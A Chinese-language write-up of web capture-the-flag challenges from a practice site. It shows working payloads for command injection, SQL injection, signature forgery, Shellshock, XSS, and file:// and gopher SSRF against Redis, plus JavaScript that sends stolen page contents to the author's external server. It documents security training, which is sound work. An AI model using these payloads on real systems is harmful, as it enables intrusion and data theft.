之前断断续续的做过http://hackme.inndy.tw/上面的一些题,题目有些还是很有趣的,记录一下。

ping

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
$blacklist = [
'flag', 'cat', 'nc', 'sh', 'cp', 'touch', 'mv', 'rm', 'ps', 'top', 'sleep', 'sed',
'apt', 'yum', 'curl', 'wget', 'perl', 'python', 'zip', 'tar', 'php', 'ruby', 'kill',
'passwd', 'shadow', 'root',
'z',
'dir', 'dd', 'df', 'du', 'free', 'tempfile', 'touch', 'tee', 'sha', 'x64', 'g',
'xargs', 'PATH',
'$0', 'proc',
'/', '&', '|', '>', '<', ';', '"', '\'', '\\', "\n"
];
set_time_limit(2);
function ping($ip) {
global $blacklist;
if(strlen($ip) > 15) {
return 'IP toooooo longgggggggggg';
} else {
foreach($blacklist as $keyword) {
if(strstr($ip, $keyword)) {
return "{$keyword} not allowed";
}
}
$ret = [];
exec("ping -c 1 \"{$ip}\" 2>&1", $ret);
return implode("\n", array_slice($ret, 0, 10));
}
}
if(!empty($_GET['ip']))
echo htmlentities(ping($_GET['ip']));
else
highlight_file(__FILE__);
?>

https://hackme.inndy.tw/ping/?ip=%60ls%60能看到flag.php

直接读

1
https://hackme.inndy.tw/ping/?ip=`head%20fl*`

login as admin 0

源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
<?php
require('config.php');
// table schema
// user -> id, user, password, is_admin
if($_GET['show_source'] === '1') {
highlight_file(__FILE__);
exit;
}
function safe_filter($str)
{
$strl = strtolower($str);
if (strstr($strl, 'or 1=1') || strstr($strl, 'drop') ||
strstr($strl, 'update') || strstr($strl, 'delete')
) {
return '';
}
return str_replace("'", "\\'", $str);
}
$_POST = array_map(safe_filter, $_POST);
$user = null;
// connect to database
if(!empty($_POST['name']) && !empty($_POST['password'])) {
$connection_string = sprintf('mysql:host=%s;dbname=%s;charset=utf8mb4', DB_HOST, DB_NAME);
$db = new PDO($connection_string, DB_USER, DB_PASS);
$sql = sprintf("SELECT * FROM `user` WHERE `user` = '%s' AND `password` = '%s'",
$_POST['name'],
$_POST['password']
);
try {
$query = $db->query($sql);
if($query) {
$user = $query->fetchObject();
} else {
$user = false;
}
} catch(Exception $e) {
$user = false;
}
}
?>

构造payload

1
admin\' or 2=2 and is_admin=1#

login as admin 1

payload

1
admin\\'or(2=2)and(isadmin=1)#

login as admin 3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
<?php
require('users_db.php'); // $users
if($_GET['show_source'] === '1') {
highlight_file(__FILE__);
exit;
}
if($_GET['logout'] === '1') {
setcookie('user', '', 0);
header('Location: ./');
}
function set_user($user_data)
{
global $user, $secret;
$user = [$user_data['name'], $user_data['admin']];
$data = json_encode($user);
$sig = hash_hmac('sha512', $data, $secret);
$all = base64_encode(json_encode(['sig' => $sig, 'data' => $data]));
setcookie('user', $all, time()+3600);
}
$error = null;
function load_user()
{
global $secret, $error;
if(empty($_COOKIE['user'])) {
return null;
}
$unserialized = json_decode(base64_decode($_COOKIE['user']), true);
$r = hash_hmac('sha512', $unserialized['data'], $secret) != $unserialized['sig'];
if(hash_hmac('sha512', $unserialized['data'], $secret) != $unserialized['sig']) {
$error = 'Invalid session';
return false;
}
$data = json_decode($unserialized['data'], true);
return [
'name' => $data[0],
'admin' => $data[1]
];
}
$user = load_user();
if(!empty($_POST['name']) && !empty($_POST['password'])) {
$user = false;
foreach($users as $u) {
if($u['name'] === $_POST['name'] && $u['password'] === $_POST['password']) {
set_user($u);
}
}
}
?>

这里的考点是

构造payload

1
2
3
4
5
6
7
<?php
$user = ['admin',true];
$data = json_encode($user);
$all = base64_encode(json_encode(['sig' => 0, 'data' => $data]));
echo $all;
?>

login as admin4

没有exit();

抓包防止跳转拿到flag。

login as admin 6

1
2
3
4
5
6
7
8
9
10
11
12
if(!empty($_POST['data'])) {
try {
$data = json_decode($_POST['data'], true);
} catch (Exception $e) {
$data = [];
}
extract($data);
if($users[$username] && strcmp($users[$username], $password) == 0) {
$user = $username;
}
}
?

可以进行变量覆盖

1
2
3
4
5
6
<?php
$a = ["admin"=>"p0desta"];
$users = ["users"=>$a,"username"=>"admin","password"=>"p0desta"];
echo json_encode($users);
?>

Login as Admin 7

弱类型比较

使用admins878926199a登录即可。

dafuq-manager 1

修改cookie,show_hidden的value改为yes

dafuq-manager 2

index.php第70行

1
2
3
case "admin":
require "./core/fun_admin.php";
show_admin($GLOBALS["dir"]);

跟进show_admin()函数,看func_admin.php第193行

1
2
3
4
5
6
7
function show_admin($dir) {
$pwd = (($GLOBALS["permissions"] & 2) == 2);
$admin = (($GLOBALS["permissions"] & 4) == 4);
if (!$GLOBALS["require_login"]) show_error($GLOBALS["error_msg"]["miscnofunc"]);
if (isset($GLOBALS['__GET']["action2"])) $action2 = $GLOBALS['__GET']["action2"];
elseif (isset($GLOBALS['__POST']["action2"])) $action2 = $GLOBALS['__POST']["action2"];
else $action2 = "";

全局搜索$GLOBALS["permissions"],跟进func_users.php

然后跟进find_user发现获取都是从GLOBALS['users']获取的,可以发现定义在.htusers.php

1
2
3
4
<?php
$GLOBALS["users"] = array(
array("guest", "084e0343a0486ff05530df6c705c8bb4", "./data/guest", "https://game1.security.ntu.st/data/guest", 0, "^.ht", 1, 1),
);

到这里之后我思路有点偏差,一开始我以为可以找到写入或者利用上传覆盖掉原来的,但是我没找到利用方式,反过来想想,作为出题方肯定不会让你覆盖,不然其他人没法玩了。。

那么应该会结合文件读取漏洞,使用seay自动审一下

先跟进第6条,发现出现在func_edit.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
function edit_file($dir, $item) {
if (($GLOBALS["permissions"] & 01) != 01) show_error($GLOBALS["error_msg"]["accessfunc"]);
if (!get_is_file($dir, $item)) show_error($item . ": " . $GLOBALS["error_msg"]["fileexist"]);
if (!get_show_item($dir, $item)) show_error($item . ": " . $GLOBALS["error_msg"]["accessfile"]);
$fname = get_abs_item($dir, $item);
if (!file_in_web($fname)) show_error($GLOBALS["error_msg"]["accessfile"]);
if (isset($GLOBALS['__POST']["dosave"]) && $GLOBALS['__POST']["dosave"] == "yes") {
$item = basename(stripslashes($GLOBALS['__POST']["fname"]));
$fname2 = get_abs_item($dir, $item);
if (!isset($item) || $item == "") show_error($GLOBALS["error_msg"]["miscnoname"]);
if ($fname != $fname2 && @file_exists($fname2)) show_error($item . ": " . $GLOBALS["error_msg"]["itemdoesexist"]);
savefile($dir, $fname2);
$fname = $fname2;
}
$fp = @fopen($fname, "r");

.htusers.php可知我们的permissions的值为1,第一个if符合,跟进get_is_file看一下

func_extra.php第30行

1
2
3
function get_is_file($dir, $item) {
return @is_file(get_abs_item($dir, $item));
}

继续跟进get_abs_item

1
2
3
function get_abs_item($dir, $item) {
return get_abs_dir($dir) . "/" . $item;
}

继续跟进get_abs_dir

1
2
3
4
5
function get_abs_dir($dir) {
$abs_dir = $GLOBALS["home_dir"];
if ($dir != "") $abs_dir.= "/" . $dir;
return $abs_dir;
}

可以知道home_dir=./data/guest

拼接一下

1
./data/guest/$dir/$item

继续跟进一下get_show_file

看一下对目录的waf

1
2
if ($item == "." || $item == "..") return false;
if (substr($item, 0, 1) == "." && $GLOBALS["show_hidden"] == false && $_COOKIE['show_hidden'] != 'yes') return false;

它这样写根本不需要刻意去绕,改好cookie直接去读就行

1
2
3
4
5
6
<?php
$GLOBALS["users"] = array(
array("adm1n15trat0r", "34af0d074b17f44d1bb939765b02776f", "./data", "https://dafuq-manager.hackme.inndy.tw/data", 1, "^.ht", 7, 1),
array("inndy", "fc5e038d38a57032085441e7fe7010b0", "./data/inndy", "https://dafuq-manager.hackme.inndy.tw/data/inndy", 0, "^.ht", 1, 1),
array("guest", "084e0343a0486ff05530df6c705c8bb4", "./data/guest", "https://dafuq-manager.hackme.inndy.tw/data/guest", 0, "^.ht", 1, 1),
);

将md5解密,登录即可拿到flag2

dafuq-manager 2

题目提示GETSHELL,在我们第二关使用seay的时候就发现了eval的地方func_debug

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
function do_debug() {
assert(strlen($GLOBALS['secret_key']) > 40);
$dir = $GLOBALS['__GET']['dir'];
if (strcmp($dir, "magically") || strcmp($dir, "hacker") || strcmp($dir, "admin")) {
show_error('You are not hacky enough :(');
}
list($cmd, $hmac) = explode('.', $GLOBALS['__GET']['command'], 2);
$cmd = base64_decode($cmd);
$bad_things = array('system', 'exec', 'popen', 'pcntl_exec', 'proc_open', 'passthru', '`', 'eval', 'assert', 'preg_replace', 'create_function', 'include', 'require', 'curl',);
foreach ($bad_things as $bad) {
if (stristr($cmd, $bad)) {
die('2bad');
}
}
if (hash_equals(hash_hmac('sha256', $cmd, $GLOBALS["secret_key"]), $hmac)) {
die(eval($cmd));
} else {
show_error('What does the fox say?');
}
}

我们可以知道strcmp可以使用数组绕过,然后构造payload

1
2
3
4
5
6
7
<?php
$GLOBALS["secret_key"] = 'KHomg4WfVeJNj9q5HFcWr5kc8XzE4PyzB8brEw6pQQyzmIZuRBbwDU7UE6jYjPm3';
function make_command($cmd) {
$hmac = hash_hmac('sha256', $cmd, $GLOBALS["secret_key"]);
return sprintf('%s.%s', base64_encode($cmd), $hmac);
}
echo make_command("phpinfo();");

构造payload

1
2
3
4
5
6
7
<?php
$GLOBALS["secret_key"] = 'KHomg4WfVeJNj9q5HFcWr5kc8XzE4PyzB8brEw6pQQyzmIZuRBbwDU7UE6jYjPm3';
function make_command($cmd) {
$hmac = hash_hmac('sha256', $cmd, $GLOBALS["secret_key"]);
return sprintf('%s.%s', base64_encode($cmd), $hmac);
}
echo make_command('$a="syste"."m";$a("ls flag3/");');

发现

1
2
3
4
Makefile
flag3
meow
meow.c

尝试直接cat flag3并不行,那么尝试利用meow flag3

拿到flag。

wordpress 1

在最近文件Backup File中拿到源代码,在源代码

首先$h其实就是个md5

1
2
3
λ php -r "var_dump('m'.sprintf('%s%d','d',-4+9e0));"
Command line code:1:
string(3) "md5"

解密一下md5发现结果是cat flag

然后跟进一下wp_get_user_ip函数,

1
2
3
4
5
6
7
8
9
function wp_get_user_ip() {
$ip = $_SERVER['REMOTE_ADDR'];
if (!empty($_SERVER['HTTP_CLIENT_IP'])) {
$ip = $_SERVER['HTTP_CLIENT_IP'];
} elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
}
return $ip;
}

发现它逻辑有问题,如果请求头中有Client-ip或者X-Forwarded-For的话就会覆盖掉一开始Remote-addr获取到的。

1540522189956
1540522189956

拿到flag1

command-executor

从这里我们大概知道我们的目标是利用flag-reader去读flag。

然后利用伪协议把源码读出来

untar.php

1
2
3
4
5
6
7
8
<?php
if (isset($_FILES['tarfile'])) {
printf('<h2>$ tar -tvf %s</h2 > ', htmlentities($_FILES['tarfile ']['name ']));
echo ' < pre > ';
execute(sprintf('tar - tvf %s2 > & 1 ', escapeshellarg($_FILES['tarfile ']['tmp_name '])));
echo ' < /pre>';
}
?>

man.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<? php
function render() {
$file = 'man';
if (isset($_GET['file'])) {
$file = (string) $_GET['file'];
if (preg_match('/^[\w\-]+$/', $file) !== 1) {
echo '<pre>Invalid file name!</pre>';
return;
}
}
echo '<h1>Online documents</h1>';
$cmds = ['bash', 'ls', 'cp', 'mv'];
echo '<ul>';
foreach($cmds as $cmd) {
printf('<li><a href="index.php?func=man&file=%s">%1$s</a></li>', $cmd);
}
echo '</ul>';
printf('<h2>$ man %s</h2>', htmlentities($file));
echo '<pre>';
execute(sprintf('man %s | cat', escapeshellarg($file)));
echo '</pre>';
} ?>

cmd.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
function render() {
$cmd = '';
if (isset($_GET['cmd'])) {
$cmd = (string) $_GET['cmd'];
}
echo '<ul>';
$cmds = ['ls', 'env'];
foreach($cmds as $c) {
printf('<li><a href="index.php?func=cmd&cmd=%s">%1$s</a > < /li>', $c);
}
echo '</ul > '; ?>
<?php
if (strlen($cmd) > 0) {
printf(' < h2 > $ % s < /h2>', htmlentities($cmd));
echo '<pre>';
switch ($cmd) {
case 'env':
case 'ls':
case 'ls -l':
case 'ls -al':
execute($cmd);
break;
case 'cat flag':
echo '<img src="cat-flag.png" alt="cat flag">';
break;
default:
printf('%s: command not found', htmlentities($cmd));
}
echo '</pre > ';
}
} ?>

ls.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
function render() {
$file = '.';
if (isset($_GET['file'])) {
$file = (string) $_GET['file'];
}
echo '<h1>Dictionary Traversal</h1>';
echo '<ul>';
$dirs = ['.', '..', '../..', '/etc/passwd'];
foreach($dirs as $dir) {
printf('<li><a href="index.php?func=ls&file=%s">%1$s</a></li>', $dir);
}
echo '</ul>';
printf('<h2>$ ls %s</h2>', htmlentities($file));
echo '<pre>';
execute(sprintf('ls -l %s', escapeshellarg($file)));
echo '</pre>';
} ?>

index.ph

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
<?php $pages = [
['man', 'Man'],
['untar', 'Tar Tester'],
['cmd', 'Cmd Exec'],
['ls', 'List files'], ];
function fuck($msg) {
header('Content-Type: text/plain');
echo $msg;
exit;
}
$black_list = ['\/flag', '\(\)\s*\{\s*:;\s*\};'];
function waf($a) {
global $black_list;
if (is_array($a)) {
foreach($a as $key = > $val) {
waf($key);
waf($val);
}
} else {
foreach($black_list as $b) {
if (preg_match("/$b/", $a) === 1) {
fuck("$b detected! exit now.");
}
}
}
}
waf($_SERVER);
waf($_GET);
waf($_POST);
function execute($cmd, $shell = 'bash') {
system(sprintf('%s -c %s', $shell, escapeshellarg($cmd)));
}
foreach($_SERVER as $key = > $val) {
if (substr($key, 0, 5) === 'HTTP_') {
putenv("$key=$val");
}
}
$page = '';
if (isset($_GET['func'])) {
$page = $_GET['func'];
if (strstr($page, '..') !== false) {
$page = '';
}
}
if ($page && strlen($page) > 0) {
try {
include("$page.php");
} catch (Exception $e) {}
}
if(is_callable('render')) render(); else render_default(); ?>

发现使用了putenv来写入环境变量,关于环境变量的攻击可以找到

http://blog.sina.com.cn/s/blog_6b347b2a0102v3nc.html

然后再看一下waf过滤了'\(\)\s*\{\s*:;\s*\};'那么应该是没偏差了

这里在网上找到个payload

1
() { foo;};echo;/bin/cat /etc/passwd

得到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
_apt:x:104:65534::/nonexistent:/bin/false
flag:x:1337:1337::/home/flag

直接反弹出来shell

这里我一开始尝试使用一开头说的用flag-reader去读flag,但是并没有输出,把c文件cat出来看看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
cat flag-reader.c
#include <unistd.h>
#include <syscall.h>
#include <fcntl.h>
#include <string.h>
int main(int argc, char *argv[])
{
char buff[4096], rnd[16], val[16];
if(syscall(SYS_getrandom, &rnd, sizeof(rnd), 0) != sizeof(rnd)) {
write(1, "Not enough random\n", 18);
}
setuid(1337);
seteuid(1337);
alarm(1);
write(1, &rnd, sizeof(rnd));
read(0, &val, sizeof(val));
if(memcmp(rnd, val, sizeof(rnd)) == 0) {
int fd = open(argv[1], O_RDONLY);
if(fd > 0) {
int s = read(fd, buff, 1024);
if(s > 0) {
write(1, buff, s);
}
close(fd);
} else {
write(1, "Can not open file\n", 18);
}
} else {
write(1, "Wrong response\n", 16);
}
}

这里主要是写入和读入到缓冲区的内容是否相等(ps:C不太好,可能理解有错误),相等则读argv[1]

XSSME

发现有一些waf,但是很好绕过

1
<svg/onload='javascript:window.open(xxx)'>

记得实体化编码一下

吐槽一下这题的验证码真难跑

XSSRF leak

常规套路,打源码出来

url+document.body.innerHTML

打出源码来

1
2
3
nav class = "navbar navbar-expand-lg navbar-dark bg-dark d-flex" > < a class = "navbar-brand"
href = "index.php" > XSSRF < /a> <ul class="navbar-nav"> <li class="nav-item"> <a class="nav-link" href="sendmail.php">Send Mail</a > < /li> <li class="nav-item"> <a class="nav-link" href="mailbox.php">Mailbox</a > < /li> <li class="nav-item"> <a class="nav-link" href="sentmail.php">Sent Mail</a > < /li> <li class="nav-item"> <a class="nav-link" href="setadmin.php">Set Admin</a > < /li> <li class="nav-item"> <a class="nav-link" href="request.php">Send Request</a > < /li> </ul > < ul class = "navbar-nav ml-auto" > < li class = "nav-item" > < span class = "navbar-text" > Hello, admin(Administrator) < /span> </li > < li class = "nav-item" > < a class = "nav-link"
href = "logout.php" > Logout < /a>

有个request.php是我们页面没有的,打一下源码,既然这里都没有CSP,那么我们动态创建个script标签然后将外部的js加载进来。

这里加载外部js的好处是自己调试的时候不用重复提交了。

1
2

打到源码

1
2
3
<form action="/request.php " method="POST ">
<textarea name="url" class="form-control" id="url" aria-describedby="url" placeholder="URL" rows="10"></textarea>
</form>

参数是url,应该是提交连接,尝试可不可以直接利用file://来读文件

直接提交相同的payload,我们只修改自己服务器上的js文件即可

1
2
3
4
5
6
7
8
9
10
var x = new XMLHttpRequest();
x.open("POST", "request.php", true);
x.setRequestHeader("Content-type","application/x-www-form-urlencoded");
x.onreadystatechange = function() {
if (x.readyState == XMLHttpRequest.DONE) {
text = x.responseText;
location.href = "https://xss.p0desta.com/?token=" + btoa(encodeURIComponent(text));
}
};
x.send("url=file:///etc/passwd");

可以打回回显,通过扫目录可以知道robots.txt存在,打会config.php的源码来拿到flag

1
file:///var/www/html/config.php

xssrf redis

由上一关可以知道这关的redis开在25566端口,那么只是修改url参数,利用gopher协议去打就ok

gopher的文章https://blog.chaitin.cn/gopher-attack-surfaces/#h2.2_%E6%94%BB%E5%87%BB%E5%86%85%E7%BD%91-redis

本来想直接反弹出shell来着,但是貌似有长度限制。

这里贴出http://doc.redisfans.com/命令文档,可以使用单独命令取出

可以参考文章https://www.jianshu.com/p/e97e114db751

1
2
3
4
5
6
7
8
9
10
var x = new XMLHttpRequest();
x.open("POST", "request.php", true);
x.setRequestHeader("Content-type","application/x-www-form-urlencoded");
x.onreadystatechange = function() {
if (x.readyState == XMLHttpRequest.DONE) {
text = x.responseText;
location.href = "https:/xxx/?token=" + btoa(encodeURIComponent(text));
}
};
x.send("url=gopher://127.0.0.1:25566/_KEYS%2520*%250a_quit");

找到flag,利用,只不过是个list类型,利用上面我给出的文档使用相应的命令读出即可。

讲真,题是好题,就是验证码实在太恶心。

总结

有趣的题目总能学到有趣的姿势。